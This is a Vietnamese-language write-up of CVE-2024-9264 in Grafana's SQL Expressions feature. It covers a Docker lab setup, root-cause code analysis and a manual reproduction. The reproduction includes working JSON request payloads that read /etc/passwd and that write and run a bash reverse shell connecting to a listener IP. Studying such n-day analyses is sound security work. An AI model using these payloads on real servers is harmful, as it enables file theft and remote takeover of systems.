(Vietnamese) CVE-2024-9264, Grafana Arbitrary File Read and Remote Code Execution via SQL Expressions
My overview analysis for CVE-2024-9264
https://grafana.com/security/security-advisories/cve-2024-9264/
Overview
Trong bài viết này mình sẽ phân tích CVE-2024-9264, đây là một lỗ hổng được tìm ra trong tính năng thử nghiệm tên là SQL Expressions của Grafana
Về Grafana, đây là một nền tảng mã nguồn mở giúp hiển thị, giám sát và phân tích các thông tin của hệ thống, vì là open-source nên có thể dễ dàng cài đặt, kết nối và tuỳ chỉnh theo nhu cầu nên nó được sử dụng rộng rãi bởi DevOps và SysAdmin
Về DuckDB, nó là một embedded database, open-source và nổi trội với việc được thiết kế tối ưu cho việc xử lý các workload phân tích, không yêu cầu server riêng biệt dễ dàng tích hợp vào ứng dụng => Rất phù hợp với Grafana
Kể từ phiên bản 11.x.y (>=11.0.0), Grafana cho ra mắt nhiều tính năng mới để cải thiện trải nghiệm người dùng, một trong số đó là SQL Expressions. Tính năng này cho phép người dùng Grafana sử dụng các truy vấn SQL để xử lý dữ liệu đầu ra từ datasource nhận vào dưới dạng json, hành động này còn được gọi là post-processing
Bản chất của tính năng SQL Expressions là việc truyền truy vấn SQL (user-input) và dữ liệu tới DuckDB thông qua việc nhúng thư viện của DuckDB vào mã nguồn của Grafana, và DuckDB sẽ thực thi nó và trả về kết quả cho Grafana. Mình sẽ phân tích rõ hơn về cách Grafana đã triển khai tính năng này ở phần Root-cause
Exploit Conditions
Để có thể khai thác thành công CVE-2024-9264, buộc phải thoả mãn những điều kiện dưới đây:
- User permission: Attacker phải có quyền truy cập vào một tài khoản trong Grafana với quyền hạn từ level
viewertrở lên - DuckDB: DuckDB phải được cài đặt thủ công bởi Dev và được thêm vào biến môi trường
$PATHcủa GrafanaNote: DuckDB không đi kèm khi cài Grafana, để có thể khai thác lỗ hổng này buộc phải có điều kiện tiên quyết là DuckDB CLI được cài đặt sẵn bởi Dev
Set up lab environment
Với những điều kiện như đã trình bày bên trên, để mô phỏng được CVE-2024-9264, mình cần cài đặt Grafana, Duckdb và thêm duckdb vào environment path của Grafana. Mình sẽ sử dụng Docker Compose để dựng lại môi trường theo yêu cầu này
Cấu trúc lab demo:
1
2
3
4
.
├── docker-compose.yml
├── Dockerfile
└── poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Dockerfile
# Sử dụng Grafana v11.0.0 làm base image
FROM grafana/grafana:11.0.0-ubuntu
USER root
# Install DuckDB
RUN apt-get update && apt-get install -y && apt-get install unzip -y \
wget \
&& wget https://github.com/duckdb/duckdb/releases/download/v1.1.2/duckdb_cli-linux-amd64.zip \
&& unzip duckdb_cli-linux-amd64.zip -d /usr/local/bin/ \
&& chmod +x /usr/local/bin/duckdb \
&& rm duckdb_cli-linux-amd64.zip
# Thêm DuckDB vào biến $PATH để đảm bảo Grafana có thể gọi được DuckDB CLI
ENV PATH="/usr/local/bin:${PATH}"
Cuối cùng, viết một file docker compose để dựng lên service và expose các port tương ứng, ở đây mình sử dụng port 3000 mặc định của Grafana
Source lab demo: https://drive.google.com/drive/folders/1YJhRA_RGmffsBLBKAaLxW2LmJB6XNWkj?usp=drive_link
Root-cause
Trong phần này, mình clone source Grafana v11.0.5 để phân tích và để tiện lợi hơn trong quá trình phân tích, mình có compare source v11.0.5 và v11.0.5-security-01 để kiểm tra xem họ đã patch những gì từ đó đi ngược lại phân tích những vị trí đã được thay đổi để có góc nhìn chính xác hơn
SQL Expressions là một tính năng thử nghiệm vì vậy lẽ ra khi thiết kế nó phải được mặc định là tắt. Tuy nhiên thực tế cho thấy khi triển khai việc bật tắt các tính năng (feature flags), tính năng này đã được bật mặc định ở cấp độ API. Điều này có nghĩa là ngay cả khi người dùng không chủ động sử dụng SQL Expressions trong Grafana, họ vẫn có thể truy cập nó thông qua API
Để phân tích kỹ hơn về các cờ feature flag này, ta sẽ kiểm tra những thứ đã được config trong route /pkg/services/featuremgmt/registry.go, và tại đây ta thấy:
Tại dòng 1101 -> 1107, config của sqlExpressions hiện vẫn đang đúng khi nó để giá trị FrontendOnly là false. Điều này có nghĩa là cả front-end lẫn back-end đều có thể đọc được giá trị của flag này và bật tắt tính năng sqlExpressions dựa trên nó
1
2
3
4
5
6
7
{
Name: "sqlExpressions",
Description: "Enables using SQL and DuckDB functions as Expressions.",
Stage: FeatureStageExperimental,
FrontendOnly: false,
Owner: grafanaAppPlatformSquad,
}
Mặc dù config vẫn đúng, thế nhưng khi mình tìm 2 câu gọi kiểm tra trong source code là featuremgmt.IsEnabled("sqlExpressions") hoặc featuremgmt.sqlExpressions thì lại không hề có kết quả? Tức là mặc dù có hàm để kiểm tra sự cho phép bật tắt của sqlExpressions, song hàm này không hề được call bất kỳ 1 lần nào
Hệ quả của việc triển khai không chính xác (incorrect implementation) feature flag dẫn tới việc có sử dụng được sqlExpressions không hoàn toàn phụ thuộc vào config mặc định của hệ thống, và nó đang được kiểm tra như sau:
- Front-end: trích từ route
/conf/default.ini
- Back-end:
1
2
3
4
5
// /pkg/setting/setting.go
func (cfg *Cfg) readExpressionsSettings() {
expressions := cfg.Raw.Section("expressions")
cfg.ExpressionsEnabled = expressions.Key("enabled").MustBool(true)
}
1
2
3
4
// /conf/default.ini
[expressions]
# Enable or disable the expressions functionality.
enabled = true
Và như vậy là ta hoàn toàn có thể kết luận:
- Ở front-end, việc enable = rỗng khiến UI của sqlExpressions hoàn toàn không được hiển thị
- Nhưng ở back-end,
readExpressionsSettingslấy data từdefault.ini, với giá trị enabled = true => sqlExpressions vẫn có thể được sử dụng mặc dù không có trong Grafana UI, ta có thể trigger nó qua API
Tóm lại, ta có thể kết luận root-cause gây ra CVE-2024-9264 là Incorrect Implementation feature flag
Còn đây là cách Grafana v11.0.5 đã triển khai việc thực thi của tính năng SQL Expressions, phần code này nằm tại route /pkg/expr/sql_command.go
package expr
import(
...
"github.com/scottlepp/go-duck/duck" // import thư viện để sử dụng DuckDB CLI
...
)
...
func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.Vars, tracer tracing.Tracer) (mathexp.Results, error) {
...
duckDB := duck.NewInMemoryDB() // NewInMemoryDB là cách khai báo In Memory Database, một cách gọi phô biến của các embedded database giúp dễ dàng thực hiện truy vấn SQL
var frame = &data.Frame{}
err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame) // câu query được người dùng yêu cầu bằng JSON, trích từ "expressions" sau đó được truyền thẳng vào DuckDB mà không được kiểm soát
if err != nil {
rsp.Error = err
return rsp, nil
}
frame.RefID = gr.refID
if frame.Rows() == 0 {
rsp.Values = mathexp.Values{
mathexp.NoData{Frame: frame},
}
}
rsp.Values = mathexp.Values{
mathexp.TableData{Frame: frame},
}
return rsp, nil
}
Step to Reproduce
Vì đây là một CVE n-day đã có một vài PoC script trên mạng, mình sẽ tiến hành manual approach tức khai thác lỗ hổng này một cách thủ công
Step 1: Login with an authenticated account
Đăng nhập với một tài khoản bất kỳ, ở đây mình hardcode một tài khoản admin / SecurePassword123!, tiến hành đăng nhập và tiếp tục thực hiện các bước sau
Step 2: Find the API
Tiến hành tạo một custom dashboard với Math hoặc Reduce expression, intercept nó với BurpSuite và ném sang Repeater để chỉnh sửa các trường trong JSON theo mong muốn
Step 3: Exploit
Với những thông tin mình đã biết từ trước, việc mình cần làm giờ là sửa type trong JSON thành sql, với giá trị của expressions khi này là câu query mình muốn thực thi. Vì nó chưa được validate/sanitize chính xác nên gần như làm gì cũng được, chỉ cần phù hợp với syntax của DuckDB
LFI
Để khai thác LFI, ta sẽ tận dụng read_csv_auto hàm này trả về nội dung file dưới dạng CSV, với payload JSON đầy đủ sẽ trông như thế này:
1
{"queries":[{"datasource":{"type":"__expr__","uid":"__expr__","name":"Expression"},"refId":"B","type":"sql","hide":false,"expression":"SELECT * FROM read_csv_auto(/etc/passwd);","window":""}],"from":"1752557182125","to":"1752578782125"}
RCE
Để có thể thực thi mã từ xa, với target ở đây là rev shell thành công. Mình set up listener tại 172.21.118.179, đây là IP của Kali-kex đang chờ kết nối netcat trên port 1337.
Trước tiên ta cần tạo 1 file với nội dung của câu lệnh rev shell, mình tạm ném nó vào /tmp/rev
1
{"queries":[{"refId":"C","datasource":{"type":"__expr__","uid":"__expr__","name":"Expression"},"type":"sql","hide":false,"expression":"SELECT 1;COPY (SELECT 'bash -i >& /dev/tcp/172.21.118.179/1337 0>&1') TO '/tmp/rev';","window":""}],"from":"1752571175798","to":"1752592775798"}
Tiếp tục tận dụng read_csv để thực thi file đã lưu tại /tmp/rev (bản chất theo mình tìm hiểu nó sử dụng popen, một hàm nguy hiểm để đọc file):
1
{"queries":[{"refId":"C","datasource":{"type":"__expr__","uid":"__expr__","name":"Expression"},"type":"sql","hide":false,"expression":"SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('bash /tmp/rev |');","window":""}],"from":"1752571175798","to":"1752592775798"}
References
Vì đây là một lỗ hổng đã có bản vá, người dùng có thể cập nhật lên các phiên bản mới nhất của Grafana để tránh khỏi những tình huống không đáng có!
Tham khảo thêm các thông tin tại:
- https://github.com/nollium/CVE-2024-9264/tree/main
- https://vngcloud.vn/cve-2024-9264-command-injection-and-local-file-inclusion-via-sql-expressions-in-grafana
- https://dev.to/carrie_luo1/poc-of-grafana-post-auth-duckdb-sql-injection-file-read-cve-2024-9264-1pnm
- https://zekosec.com/blog/file-read-grafana-cve-2024-9264/
- https://www.sonicwall.com/blog/command-injection-and-local-file-inclusion-in-grafana-cve-2024-9264







